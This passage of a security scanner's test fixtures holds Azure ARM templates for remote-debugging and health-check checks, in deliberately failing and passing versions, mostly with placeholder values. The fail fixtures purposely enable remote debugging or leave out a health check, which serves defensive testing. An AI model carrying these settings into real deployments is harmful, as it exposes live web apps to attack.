"connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "unknown", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceRemoteDebuggingNotEnabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "fail", "location": "[parameters('location')]", "kind": "app,linux", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "reserved": true, "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "http20Enabled": "true", "minTlsVersion": "1.2", "remoteDebuggingEnabled": true }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceRemoteDebuggingNotEnabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "pass", "location": "[parameters('location')]", "kind": "app,linux", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "reserved": true, "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "http20Enabled": "true", "minTlsVersion": "1.2", "remoteDebuggingEnabled": false }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceRemoteDebuggingNotEnabled/pass1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "pass1", "location": "[parameters('location')]", "kind": "app,linux", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "reserved": true, "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]", "http20Enabled": "true", "minTlsVersion": "1.2" }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSetHealthCheck/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": true, "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "is try string to app service disallow cors" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSetHealthCheck/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-09-01", "name": "fail2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSetHealthCheck/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": true, "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "is try string to app service disallow cors" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "/somepath/", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSetHealthCheck/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-09-01", "name": "pass2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "/somepath/", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": 